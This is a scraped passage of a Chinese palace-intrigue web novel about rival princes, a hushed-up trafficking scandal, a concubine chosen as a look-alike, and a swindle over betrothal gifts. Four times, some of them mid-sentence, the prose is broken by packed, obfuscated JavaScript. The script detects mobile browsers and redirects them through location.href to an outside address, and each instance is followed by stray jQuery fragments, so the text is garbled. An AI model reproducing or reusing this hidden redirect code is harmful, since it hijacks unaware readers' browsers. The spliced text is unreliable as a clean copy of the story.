皇帝膝下不过七位皇子,其中两位皇子的母族竟牵涉此事,若被朝臣知晓,只怕御史台又要口诛笔伐,骂声一片。 “世家门阀与皇室关系错综复杂,利益牵扯甚深,若追查过甚,恐令朕的皇儿们颜面尽失,难以立足。”皇帝思忖片刻后道,“将那些女子放归原籍,责令涉事门阀缴纳重金,作为对无辜女子的赔偿。此事不可声张,以免生乱。” “是,陛下!”大理寺卿应声,眼底闪过一丝不甘,却只能强自压下。 待他退下后,皇帝脸上浮现一抹冷嘲之色。 门阀近来行事猖狂,他早有意寻个机会加以遏制。 没想到,大理寺竟送来如此良机。 皇室与门阀之间关系微妙,他需掌控局面,却不能一举将其打压到底,毕竟身为一国之君,要坐稳这皇位少不了门阀的支持。 因此,对这买卖被掳少女之事,他需施以惩戒,但惩戒不可过重,以免门阀生出异心,与皇室离心离德。 景和宫内,萧琪钰满脸愤懑。 “那些世家贵族竟敢公然买卖掳来的少女,知法犯法,父皇却对此事轻描淡写,只令门阀赔些银钱了事。难道地下赌场因触及门阀利益便被雷霆手段取缔,而买卖无辜少女牵涉门阀污秽,就被刻意压下,不予声张?如此行事,如何能让文武百官和天下百姓心服口服?” 萧凌川对皇帝的做法却并不意外,淡淡道:“你忘了父皇当初是如何登上皇位的?若非世家门阀鼎力相助,他名不正言不顺,哪有资格成为大邺国君?如今自然不敢轻易得罪门阀,以免动摇这来之不易的皇位根基。” “今日包庇这个,明日妥协那个,这大邺究竟是皇家的天下,还是门阀的江山?”萧琪钰依旧怒气难平,眉头紧锁。 “七弟不必动气,眼下我们已将萧修湛敛财的路子尽数掐断,接下来就看他如何自处吧。”萧凌川懒洋洋地倚靠在椅背上,语气中透着一丝冷嘲。 听到这话,萧琪钰脸上总算浮现出一抹笑意:“四哥说得是,他还不起那些封赏银钱,自顾不暇,我倒要看看,他还如何往西榆那边输送粮草!” 萧凌川神色转而阴沉,眸中闪过一丝寒意。 此前,他曾派人试图拦截萧修湛运往西榆的粮草,怎料镇国公早有准备,竟将粮草伪装成供给西榆边关大邺士兵之用,还备齐了相关文书,滴水不漏。 他无法扣押这些粮草,只能眼睁睁看着它们落入西榆,成为萧修湛豢养私兵的养分。 有镇国公一直在为自家外甥撑腰打掩护,又无确凿通敌证据,他根本无法一举将萧修湛扳倒。 不过,如今断了萧修湛的财路,相信不出多久,他定会自乱阵脚,现出原形! —— 萧修湛跌跌撞撞冲进熙贵妃的寝殿,脸色苍白,语气惊慌:“母妃,救我!” 熙贵妃连忙扶住他,眉头微皱:“何事如此失态?” “儿臣的地下赌场和人牙行当,尽数被大理寺取缔了!”萧修湛哭丧脸道。 熙贵妃闻言,神色一紧:“他们发现你是幕后之人了?” “不,还没有!只是儿臣本想靠这些渠道筹集银两,尽快还清父皇的封赏,如今财路被断,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629284|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿臣如何还得起?” 说到这,萧修湛有些焦头烂额,真是屋漏逢雨天,怎么就正好在这节骨眼上被查封取缔? 熙贵妃听罢,肉眼可见地松了一口气,随即温声道:“未被发现便好,莫要惊慌。母妃这里有些私房钱,再加上你舅舅的助力,还有内库的银两,定能帮你凑足所需。” 前些年熙贵妃深受盛宠,皇帝便寻了个理由,将皇后掌管后宫的权柄交到了她手中。 因此,熙贵妃得以任意调配内库的银钱,是后宫名副其实的掌权之人。 萧修湛迟疑道:“可内库的钱财,不是都要记账的吗?若被人查出,母妃岂不有麻烦?” 熙贵妃轻笑一声:“傻孩子,你忘了今年你将与姜家次嫡女成婚?操办婚事、赏赐未来儿媳,哪样不需要银钱?母妃身为你的母亲,为你筹备这些,乃是天经地义之事,谁又能挑出毛病?” 萧修湛闻言,眼中闪过惊喜,忙不迭地拜谢:“多谢母妃!还是母妃思虑周全,儿臣感激不尽!” 一月期限转瞬即至,萧修湛竟真的将皇帝先前赐下的封赏如数奉还。 皇帝略感意外,带着几分试探之意道:“朕原以为一月时限太过紧迫,你未必能及时归还。” “父皇说笑了,这些封赏儿臣并未动用多少,都妥善存于府中库内,怎会归还不了?”萧修湛语气从容,“西征剿匪一事,儿臣确实办理不妥,致使顾亦庭命丧黄泉,险些令顾御史与父皇离心。这封赏本就受之有愧,如今归还,儿臣心中反倒坦然。” 皇帝听罢,面露欣慰之色,颔首道:“你若真能有此觉悟,朕便放心了。朕的湛儿,果然长大了。” “父皇,儿臣还有一事,恳请父皇恩准。”萧修湛趁势说道。 “何事?说来听听。” “儿臣与姜家次嫡女两情相悦,婚约早已定下。儿臣不愿让她久等,欲将婚事提前至下月,还望父皇成全。” 皇帝闻言,朗声大笑:“好小子,既然你急着抱得美人归,朕怎能让你多等?此事,朕准了!” “儿臣谢父皇恩典!”萧修湛忙拜谢,脸上难掩喜色。 如此一来,他母妃内库的账目便能早日理清了。 第115章 被轻易原谅 第一百一十五章被轻易原谅 萧修湛欲早日成婚之事刚在朝堂上被皇帝提及,顾御史便立即站出,直言太子身为三皇子之兄长,又是大邺储君,婚事自当优先操办。 此言一出,太子的支持者纷纷附和。 皇帝亦觉有理,反正太子与顾家嫡女的婚约早已定下,提前筹办婚事也并无不妥。 于是,他当即下旨,先行操办太子的婚礼。 原本萧修湛母子计划借操办婚事的由头,填补内库账面上的亏空,表面上给姜家丰厚的聘礼、赠姜瑶真贵重的礼物,实则以次充好,再好言安抚姜家,将此事敷衍过去。 不料皇帝却突然决定优先置办太子的婚事。 这顾家可不是好糊弄的对象,若被顾御史揪住不放,内库银两被挪用之事恐难瞒过皇帝耳目。 一旦牵扯到封赏银钱的去向,那真是纸包不住火,彻底藏不住了。 萧修湛急得焦头烂额,忍不住对熙贵妃道:“母妃,这可如何是好?内库里根本没有足够的银两,如何操办我和太子两人的婚事啊!” 熙贵妃神色沉重,低声安抚道:“此事你无需忧心,母妃自会为你筹谋。只是到时需你配合一二。” “只要母妃能助儿臣渡过此劫,儿臣定当听从母妃安排!”萧修湛忙不迭应下。 熙贵妃欣慰一笑:“我儿将来必是大邺国君,荣华富贵尽在掌中,眼下不过暂受困顿罢了。放心,母妃不会让你为难,所托之事也并非难为你的,届时你只管照做便是。” 太子成婚的圣旨一颁布,姜瑶真便迫不及待地在姜姝宁面前炫耀:“姐姐,你可知三皇子殿下为早日迎我入门,特意向陛下请了圣旨?谁料顾御史以太子为储君之名横插一脚,这才让他先行婚事。说起来,晚樱姐姐能早日嫁入东宫,还得感谢我的功劳呢!” 姜姝宁还未来得及回应,身后便传来一道满是嘲讽的声音:“如此说来,我还真得谢谢瑶真妹妹了!” 姜瑶真与姜姝宁转身一看,只见顾晚樱款款而来,脸上挂着几分讥讽的笑意。 “晚樱,你怎么来了?”姜姝宁略显惊讶。 自从上次马球场上的一场比赛,两人冰释前嫌,关系比以往亲近许多。 同样是失去兄长庇护、不得不独自坚强的她们,彼此间生出了几分惺惺相惜。 顾晚樱笑盈盈道:“下月我便要嫁入东宫,往后怕是难与你相见,特意来瞧瞧你,顺道一起逛逛街市!” 姜瑶真见两人言谈甚欢,心中嫉恨,忍不住阴阳怪气道:“晚樱姐姐无需担忧,我姐姐常往宫里跑,到时你们定能常见面!” 顾晚樱闻言,冷冷瞥了她一眼,语气中难掩嘲讽:“可不是嘛。等你出嫁后,也依旧住在宫中,咱们三人倒是能常聚一聚了!” 她话中暗指萧修湛被剥夺封号,依旧只是皇子,按大邺律法无封号便无府邸,只能继续居于宫内。 姜瑶真听出她话里的讥讽,那张娇艳的脸蛋都气得扭曲了,跺脚愤然离去。 望着她气急败坏离去的背影,顾晚樱忍不住冷哼一声:“姝宁,你这妹妹也太自以为是了。不就是成亲嘛,至于这般耀武扬威吗?” 姜姝宁淡然一笑:“由她去吧,毕竟她此生只有这一场婚事,自然格外看重。” 不像三皇子,此生怕是要成婚多次,怎会如她这般在意? 前世姜瑶真嫁入瑞王府后,萧修湛接连纳了诸多姬妾,甚至还娶了一名商家女为侧妃,与她平起平坐,气得她多次回府哭诉。 如今想来,前世她成婚后主动勾搭萧凌川,恐怕也是在萧修湛处受了冷落,才想从倾慕自己的其他男子身上找些安慰。 顾晚樱的声音将姜姝宁的思绪拉了回来:“姝宁,你可听说了?京城的地下赌场尽数被取缔,连周边都城的非法牙行也被一网打尽了。” 姜姝宁微微颔首:“略有耳闻。这真是件大快人心之事。” “我听父亲说,此次大理寺能如此迅速破案,全靠四皇子殿下的功劳。他提供的线索详尽无遗,助大理寺一举破获此案!之前他举荐我兄长西征剿匪,我心中对他颇有怨言,但此番作为利国利民,我对他的看法倒是改观了几分。” 姜姝宁亦有感触:“我亦是如此。” 她本以为萧凌川会一直隐忍不发,待揪出萧修湛作为地下赌场与人牙行幕后主使的确凿证据后,才将这两个祸害百姓的行当公之于众,一举将萧修湛扳倒。 不曾想,他竟主动将线索交予大理寺,提前协助铲除这两大毒瘤,甚至不惜错失将萧修湛彻底击垮的机会。 今生的萧凌川,行事风格的确与前世大不相同。 顾晚樱握住她的手,语气恳切:“姝宁,我反复思量过兄长之死一事。四皇子确实因嫉恨我兄长向你提亲,才举荐他西征剿匪,但真正害死我兄长的另有其人,我不能将所有过错都归咎于他。希望你不要受我影响,对四皇子心生偏见。” 姜姝宁微微一笑,安慰道:“放心,我自有判断,不会轻易被左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629285|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那就好!”顾晚樱松了口气,迟疑片刻,又有些欲言又止地开口,“姝宁,四皇子虽行事偏激,手段也不算光明磊落,但此次作为可见他心系国与民。皇室有这样的皇子,实乃大邺之福。或许,你也该对他稍作改观,不必拒绝得那般决绝。” 姜姝宁心中苦笑,萧凌川此举的确受益匪浅,竟连顾晚樱都愿放下对他的芥蒂,转而劝自己接纳他的情意。 皇家人纵使过去犯下诸多错事,只需做成一件好事,便能让人刮目相看,甚至赞不绝口。 身居高位之人,总是能被轻易原谅。 送走顾晚樱后,姜姝宁脑想起自己的三妹姜莲。 地下赌场既已被取缔,想必二叔的债务已清,应该不会再想着将姜莲卖了吧? 但赌瘾易染不易戒,难保二叔以后不会继续沉迷**,又萌生了将女儿卖掉抵债的念头。 想到此处,她对凌芜吩咐道:“你去寻管家,问问二叔在京城的住处地址,我想亲自登门一趟。” 凌芜有些犹豫:“可姜二爷至今对您仍有芥蒂……” “无妨,我主要是想见见三妹。” 姜莲只比她小一岁,正是二八芳华,又是姜家血脉,她实在不忍心看她误入歧途。 有些话,还是当面叮嘱一二为好。 不多时,凌芜便拿来了地址,主仆二人乘马车前往姜二爷所在的宅邸。 姜二爷的宅邸位于京城城郊一带,占地不大,开门的是姜二夫人,可见府中并无多余的下人。 京城花费高,开销大,他们又没有谋生来源,即便得了相府一半家产,也很快会被消耗殆尽。 见她到来,姜二爷和姜二夫人都面露不悦:“你来做什么?” “我是来见三妹的。”姜姝宁开门见山道。 “她不在府中,你走吧!”姜二爷冷着脸下了逐客令,“往后别再踏足我们家门!” 姜姝宁冷声道:“我本无意与二叔多纠缠,但有句话不得不提。虽说京城的地下赌场已被大理寺取缔,可若二叔继续沉迷赌局,终将落得妻离子散的下场。还望二叔多为莲儿着想,别再如此糊涂!” “谁沉迷**,谁糊涂了?”姜二爷一副被冤枉的怒容,“你莫要信口开河,胡言乱语!二爷我从不沾赌!” 姜二夫人也连忙附和:“姝宁,你怎能随意污蔑你二叔?你二叔从不碰那等恶**!” 姜姝宁眉心微动,心中一沉。 姜莲,竟骗了她? 第116章 最是无情帝王家 第一百一十六章最是无情帝王家 姜姝宁离开二叔宅邸时,恰巧在路口遇见了归家的姜莲。 姜莲依旧是那副刻意模仿她的妆容与穿着,见到她时明显一怔:“大姐姐,你怎么来了?” 姜姝宁神色微沉:“我本是想劝二叔莫再沉迷赌局,以免连累了你。谁知他却说自己从不沾赌。三妹,那日在来福酒楼,你为何要骗我?” 姜莲见事情败露,索性破罐破摔,语气中满是酸涩:“大姐姐被众多皇子追捧,自然不懂莲儿的苦楚。我出身平凡,想要嫁入高门难如登天。若能借这张与大姐姐有几分相似的脸,赢得皇子青睐,哪怕只是为奴为妾,也比嫁入寻常人家强!” 姜姝宁冷笑起来:“所以,为了让我帮你,竟不惜编造谎言,骗我说二叔欠下巨额赌债,要将你卖掉?莲儿,你怎能如此利用至亲?” 姜莲眼眶泛红,泫然欲泣:“大姐姐,我实在走投无路了!我想得到四皇子殿下的青睐,才想着把自己说得可怜些,或许你会心软,助我一臂之力。” 姜姝宁叹了口气:“四皇子殿下名声虽不佳,却并非好色之徒,你真是找错了人。” 前世萧凌川虽重欲,对云雨之事尤为热衷,床笫间更是花样百出,可他从不纳妾。 即便有人巴结,送来美人姬妾,他也一概拒之门外,悉数退回。 曾有一官员自作聪明,寻了个与姜瑶真七八分相似的美人,欲讨他欢心,结果反倒激怒了他。 他不仅将那官员驱逐,还以贿赂之罪革了他的官职。 萧凌川这人心如磐石,绝非美色所能动摇。 想要勾引他,简直自讨苦吃。 姜莲听后,颇有些自暴自弃:“都说皇子身边姬妾成群,怎的四皇子如此与众不同?” “姬妾成群的只有三皇子,其他皇子尚未娶妻纳妾。三妹,别再将心思放在皇子身上,还是找个好人家定亲吧!”姜姝宁苦口婆心劝道。 姜莲表面似是听进去了,心中却暗自思忖:原来三皇子才是唯一会对美色动心之人。 若是努力一番,说不定有机会攀上高枝。 回程的马车上,凌芜忍不住开口:“大小姐,我看三小姐根本没把您的话放在心上。” 姜姝宁轻叹一声,语气中透着几分无奈:“我能做的只有提醒。若她执意往火坑里跳,我也无能为力。有些人,不撞南墙是不会死心的。” 她似是有些疲惫,靠在马车上缓缓阖上眼眸。 即便重生一世,她仍有许多无能为力之事。 譬如兄长的死,萧凌川那令人窒息的占有欲,以及姜莲那些不切实际的痴心妄想。 原本,今生她只想远远避开萧凌川,寻一个情投意合的良人,平淡度过此生。 可如今,为了给兄长报仇,她不得不与萧凌川虚与委蛇,时刻忍受被他虎视眈眈、视作囊中之物的不安。 如今她自顾不暇,又哪有余力去干涉姜莲的选择? 姜莲其实是有些手艺在身上的。 无论是何种首饰,只要经她一番摆弄,稍加点缀装饰,便能变得格外精致。 若有些材料她手头没有,便会绣出样图,拿去银楼给掌柜过目。 掌柜见她设计的首饰卖得极好,便允她每日来银楼,用些零碎材料打造新样式。 因此,姜莲不仅在银楼赚了些工钱,还顺道打听到不少关于达官贵人的消息。 这日,她无意间听闻有人订购上等簪子,据说是三皇子要送给春香楼的头牌红缨。 采买之人是春香楼的老鸨,据她所说,三皇子最钟爱独特的女子,或是身带幽香,或是舞姿歌喉出众。 若能入他的眼,不仅能被捧为头牌,还能享尽锦衣玉食。 姜莲听后,心头一动。 她既无天生体香,也不会歌舞,但她不愿错过这个机会,决心放手一搏,为自己争个衣食无忧的未来。 她主动找到老鸨,直言自己想去春香楼争当头牌。 老鸨上下打量她一番,语气中带着几分轻慢:“模样倒是清秀,可你有何特长?” 姜莲面颊微红,低声道:“你只管告诉三皇子殿下,我一旦身子受热,肌肤便会绽出花来。” 老鸨似笑非笑:“真有此事,还是诓人的?” 姜莲悄悄塞了一块银子到老鸨手中:“还请老鸨给我一个面见三皇子的机会,至于能否成事,全凭莲儿自己的造化!” 前些日子春香楼因非法买入掳来的姑娘被大理寺查封,生意一落千丈,如今才重新开张不久,正缺新面孔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634488|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如今见姜莲如此上道,老鸨便点头应允。 “那好吧,今晚三皇子会来春香楼为红缨捧场,你好生准备,看能否入了他的眼。” “多谢!”姜莲忙不迭道谢。 姜莲回到家中,将自己锁在房中,对着铜镜缓缓褪去衣衫,露出身上那些青紫的印记。 她与姜姝宁有几分相似,因而每次姜瑶真在姜姝宁处受了气,便将她唤到来福酒楼,对她又掐又打,以泄心头之恨。 若再不寻个皇子依靠,她怕是迟早会死在姜瑶真手中。 姜莲凝视镜中的自己,唇角勾起一抹冷笑:“二姐姐,你如此欺我,便别怪我去勾引未来的姐夫了。” 她拿起一盒胭脂,小心翼翼地涂抹在那些青紫痕迹上。 不多时,那些印记果真化作一朵朵娇艳欲滴的鲜花,泛着惑人的光泽。 做完这一切,她又化了一个极似姜姝宁的妆容,这才换好衣衫,悄然离去。 夜色深沉,姜莲戴着面纱,踏入了春香楼。 三皇子萧修湛果然在雅间中欣赏红缨的舞姿。 一曲终了,红缨娇笑着投入他的怀中:“殿下好不容易来一趟春香楼,今夜便让奴家伺候您吧!” 谁知萧修湛却将她推开,声音冷如冰霜:“本皇子捧你做头牌,是让你给本皇子赚钱的。你不去陪客,哪来的银子?” 红缨心头一紧,只能含泪退下。 果然,最是无情帝王家。 那些日夜缠绵,不过是虚情假意,他要的只是她能带来的钱财与利益。 这时,戴着面纱的姜莲被老鸨领到萧修湛面前。 姜莲暗自打量眼前这位身着锦袍、贵气逼人的男子,心中却有些失望。 本以为同为兄弟,至少会有几分相似,没想到这三皇子模样远不如四皇子那般俊美靡丽。 萧修湛懒散地扫她一眼,语气淡漠:“你有何技艺?” 姜莲不语,径直褪下衣衫,露出那开满“鲜花”的肌肤。 萧修湛轻嗤一声:“在身上画花,倒也算个新奇玩意儿。只是,这些花都是假的,若无出众姿色,怕是难令客人满意。” 说着,他伸手直接扯下她脸上的面纱。 在看清她面容的那一瞬,他的瞳孔猛地一缩! 第117章 哭了,便不像她了 第一百一十七章哭了,便不像她了 “姜姑娘……”萧修湛脱口而出,喉结滚动,“你怎么会出现在这里?” “客官,我名叫姜莲。”姜莲含羞带怯道。 “姜莲……”萧修湛定睛细看,眼前的女子虽与姜姝宁有几分神似,却并非本人。 姜姝宁看似温婉,实则周身散发着一股清冷疏离之气,宛如夜空中皎洁的明月,让人不敢轻易靠近。 而眼前的女子,明显更为柔弱,也让男人觉得更易得手。 萧修湛嘴角勾起一抹暧昧的轻笑:“你也姓姜?与姜姝宁是何关系?” “我是姜姝宁的堂妹。”她答道。 “堂妹?难怪与她如此相像。”萧修湛伸出手,指尖轻轻触碰她的脸颊,目光在她与姜姝宁相似的容颜上流连,“你可知我是谁?” “知道。”她看着他,脸上浮起红晕,“你是二姐姐的未来夫君,我的姐夫。” “姐夫?”萧修湛浑身陡然发热,目光也随即变得邪肆起来,“这称呼,我喜欢。” 他俯身将她打横抱起,大步朝不远处的大床走去…… 几番辗转,云销雨霁。 萧修湛一脸餍足地掀开幔帐,一边慢条斯理地穿着衣衫,一边肆无忌惮地打量着眼前初尝云雨的女子。 她脸色酡红,眼睛还有未干的泪痕,看起来娇弱无比。 不知姜姝宁承欢时,是否也是这般让人爱怜的模样? “你既是姜丞相的侄女,为何会沦落到春香楼讨生活?”他随口问。 姜莲羞涩地将薄被拉至肩头,垂下眼帘,低声道:“姐夫有所不知,我父亲是姜家庶子,无论出身还是才学都远不及大伯。二哥去世后,父亲与相府彻底**,我们一家三口不得不搬离相府。谁知京城物价高昂,家中积蓄本就微薄,我实在走投无路,才……” 说到此处,她声音哽咽,低低啜泣起来。 萧修湛上前,抬起她的下巴,声音低柔:“别哭了。” 姜莲以为他在宽慰自己,心中一暖,轻唤道:“姐夫……” “……你若哭了,便不像她了。”萧修湛松开手,眉间闪过一丝不悦。 姜姝宁从不轻易落泪,尤其是看向他时,眼神总是凌厉中带着几分冷意,一副拒人于千里之外的模样。 起初,萧修湛只觉得她与寻常世家贵女无异,性子温婉贤淑,精通厨艺,是个适合做正妻的人选。 当初想娶她,不过是看中相府的势力,再加上太后对她颇为青睐,若能将她迎娶为妻,好处自是不少。 真正让他对她心生波澜的,是那次马球场上的惊鸿一瞥。 马背上的她,英姿飒爽,大胆而热烈,耀眼得让人无法移开目光。 他终于明白,为何四皇子和五皇子都对她如此倾心。 马球赛过后,他一连几日都梦见她,甚至萌生了想将她据为己有的念头。 当然,那只是梦中妄想。 清醒时,他比谁都清楚,想得到她,无异于摘下天边的月亮。 但正因如此,他才愈发念念不忘。 姜莲敏锐地捕捉到萧修湛眼底一闪而过的厌倦,心中一惊,忙擦去脸上的泪痕:“殿下,莲儿知错了,往后定不再哭泣!” “也别唤我姐夫,她从不会如此称呼我。”萧修湛凝视着她,目光晦涩,“唤我三皇子殿下。” “是,三皇子殿下!”姜莲心中惶恐,语气愈发恭谨。 萧修湛伸手轻触她的脸颊,语气淡然却带着几分意味深长:“无妨,慢慢学,本皇子有的是耐心。” 长得倒是很像她,只是性情不太像,好好调教,假以时日,定能到以假乱真的地步。 姜莲鼓起勇气,试探着问:“莲儿可否留在殿下身边?便是为奴为婢,莲儿也心甘情愿!” “傻丫头,本皇子怎舍得让你为奴为婢?”萧修湛轻笑道,“快去收拾东西,随我回宫。明日我便命人送聘礼到你家中。从今往后,你便是本皇子的贵妾。” 姜莲闻言,喜出望外,顾不得此时的自己不着寸缕,忙下床跪在他脚边,连连磕头:“谢殿下,谢殿下!” 她心中暗自得意:二姐姐,你容貌再美又如何? 终究是我先一步嫁给了三皇子殿下! 萧修湛赏了老鸨不少银子,将姜莲带回宫中。 翌日,他便带着姜莲拜见熙贵妃。 熙贵妃初见姜莲,不由一怔,惊道:“你怎将姜姑娘带来了?” “母妃,您仔细瞧瞧,她可不是相府的姜姑娘。”萧修湛笑着道,“她叫姜莲,是姜姝宁的堂妹。” 姜莲连忙屈膝行礼:“妾身见过贵妃娘娘!” 熙贵妃定睛细看,这才确认眼前之人并非姜姝宁,脸色微沉:“湛儿,你这是何意?大婚在即,为何还要纳一个姜家女子?” “母妃,借一步说话。” 萧修湛将姜莲留在偏殿,独自与熙贵妃移步后花园。 偏殿内,姜莲好奇地打量着四周金碧辉煌的陈设,心中满是惊叹,全然未察觉自己在萧修湛身边,未来将扮演何种角色。 “母妃,这姜莲留在儿臣身边,大有用处。”萧修湛缓缓开口,“四弟与五弟如今对姜姝宁皆是神魂颠倒,这姜莲与她容貌相似,稍加调教,便能以假乱真。到时,还愁拿捏不住他们吗?” “不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634489|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个跟她长得像的女子罢了,真有如此大的作用?”熙贵妃眉间仍有疑虑。 “母妃有所不知,自古英雄难过美人关。”萧修湛笑意深长,眼中闪过一丝算计,“尤其是得不到的女子,更叫人魂牵梦萦。此时,一个相似至极的替身,便显得尤为重要。” 熙贵妃听罢,微微颔首:“既如此,便将她留下吧。只是她不过一介贵妾,又出身小门小户,聘礼不必太过贵重吧?” 内库所剩无几的那点东西还得用来筹备太子大婚,实在是没有太多拿得出手的金银珠宝了。 “母妃做主便是。”萧修湛淡淡一笑,“不过这聘礼表面上还需体面些,以免失了皇家的颜面。” “你放心,本宫自会安排得周到妥帖!”熙贵妃沉声道。 不久,太子与顾晚樱的大婚便如期而至。 身为大邺储君,皇家为太子操办的婚礼极尽奢华,太子妃顾晚樱的聘礼单更是令人瞠目结舌,金银珠宝熠熠生辉,绫罗绸缎堆积如山,成群的婢仆亦是训练有素,无一不彰显着皇家的气派与尊荣。 婚宴之上,冠盖云集,皇亲国戚、名门望族、朝廷重臣及其家眷济济一堂,觥筹交错间,尽是繁华景象。 相府亦在受邀之列。 姜瑶真作为宾客参加这场盛大的婚宴,眼底满是艳羡与期盼。 她与萧修湛的婚期仅比太子晚半月,届时,她肯定也将成为众人瞩目的焦点,享受着无与伦比的荣耀与风光。 京城之中,除顾晚樱外,又有哪位贵女的婚礼能与她相提并论呢? 姜瑶真心中暗自得意。 然而,当三皇子的聘礼抬入相府,姜瑶真满怀期待地打开清点时,却瞬间傻眼了。 那些看似金光灿灿的首饰,实则是以金包银的工艺制成。 初看之下,其色泽与纹路皆与纯金无异,难以分辨真伪,可一旦掂量在手,便能察觉其分量轻重,与真金的厚重截然不同。 更让她难以接受的是,那顶本应以东珠点缀的凤冠,却仅缀着大小不一、光泽黯淡的珍珠,显得廉价而寒酸。 她心怀侥幸,仔细翻遍了所有的聘礼,这才绝望地发现,无论是金银珠宝,还是玉石玛瑙,亦或是绸缎绫罗,其价值都远逊于顾晚樱所收的聘礼,更遑论与之相提并论。 婢女春花按捺不住心中的愤懑,小声抱怨道:“这就是三皇子殿下给咱们二小姐的聘礼吗?怕是还不如老爷给二小姐准备的嫁妆呢!” 姜瑶真闻言,脸色瞬间阴沉下来,如寒冰般冷冽,指甲也深深地扎入掌心,几乎要渗出血来。 三皇子殿下此举,究竟是何意? 难道他是在羞辱自己吗? 第118章 搬石头砸自己的脚 第一百一十八章搬石头砸自己的脚 众人皆知姜瑶真的生母曾是春香楼一名歌伎,因此她对自己的身世一直讳莫如深。 即便从庶女抬为次嫡女,她也始终无法释怀,生怕被人戳脊梁骨,看轻了去。 萧修湛也曾当众奚落她不过是个半路抬举的次嫡女,不堪匹配正妃之位。 如今这聘礼以次充好,难道是他给自己的一个下马威吗? “自然不是。”面对姜瑶真的质问,萧修湛神色温柔解释道,“真儿,你要明白,嫁给本皇子,并非仅仅是做个皇子妃那么简单,你将来是要母仪天下的。大婚是否隆重,聘礼是否贵重,这些都不过是过眼云烟,重要的是,要有一颗心怀天下的仁爱之心。” 姜瑶真强压下心中的不满,低声道:“臣女愚钝,不明白殿下的意思。” “真儿,南月近来屡屡犯我大邺边境,百姓流离失所,苦不堪言。若我们此时铺张浪费,大操大办婚宴,岂不是让百姓心寒?所以,本皇子与母妃商议,决定一切从简,聘礼自然也不必过于厚重。” 姜瑶真闻言,脸色瞬间苍白如纸。 “殿下……您为何不早些告知臣女?我们可以将婚期延后,待南月战事平息后再行大婚也不迟啊!” 她可以忍受晚一些成婚,却无法忍受自己的婚礼不够风光。 萧修湛怜爱地捧起她的脸庞,柔声道:“那怎么行?本皇子早已迫不及待要与真儿结为连理,朝夕相伴,共度一生!” 姜瑶真看着他那副深情款款的模样,只得将满腹委屈强行咽下,违心地说道:“臣女也是……” 回到相府,她越想越不甘心。 凭什么顾晚樱的婚礼能够风光无限,而她的婚事却要草草了事? 女子一生仅此一次的大婚,若不能艳压群芳,让京城贵女们艳羡不已,那还有什么意义? 恰好此时,她院中的宋嬷嬷和春花正在整理她的嫁妆。 看着相府为她精心准备的那些华丽的箱笼,一个大胆的想法在她脑海中悄然滋生。 她款步来到姜丞相的书房,梨花带雨,泫然欲泣:“爹爹,女儿知道,大哥的死让您对三皇子殿下心存芥蒂。女儿又何尝不是如此?如今女儿就要嫁入三皇子府,真怕他日后会薄待女儿。” 听她提起萧修湛,姜丞相脸色便阴沉了几分。 “这桩婚事乃是圣上钦点,若你将来在三皇子府受了委屈,圣上自会为你做主。” “家事琐事,怎好劳烦圣上?不如这样,爹爹,您多给女儿添置些嫁妆,有了钱财傍身,女儿也能嫁得风光体面些,也好让三皇子和熙贵妃对女儿另眼相看!” “你母亲向来疼爱你,为你准备的嫁妆定然不会让你受委屈。” “爹,女儿的意思是,把姐姐那份也给女儿!反正……姐姐已经说过不嫁人了,不是吗?” “这……”姜丞相面露难色,神色复杂。 姜姝宁确实曾说过不嫁人,但他总觉得那是如今四皇子步步紧逼,她不得已而为之的托词。 作为父亲,他心中仍存着一丝希望,盼望着她将来能觅得良婿,嫁入好人家。 “此事,你需得先问过你姐姐的意思。” 姜丞相只是搪塞她,可她铁了心要用娘家的钱财来为自己的婚事撑场面,便厚着脸皮去了翠竹院,向姜姝宁提出了这个要求。 “可以啊。”出乎意料的是,姜姝宁竟一口答应了下来。 姜瑶真简直不敢相信事情会如此顺利,激动之情溢于言表:“谢谢姐姐!姐姐放心,将来若三皇子后院的姬妾生了孩子,我一定让他将孩子过继给姐姐,这样姐姐日后也能老有所依,有人送终了!” 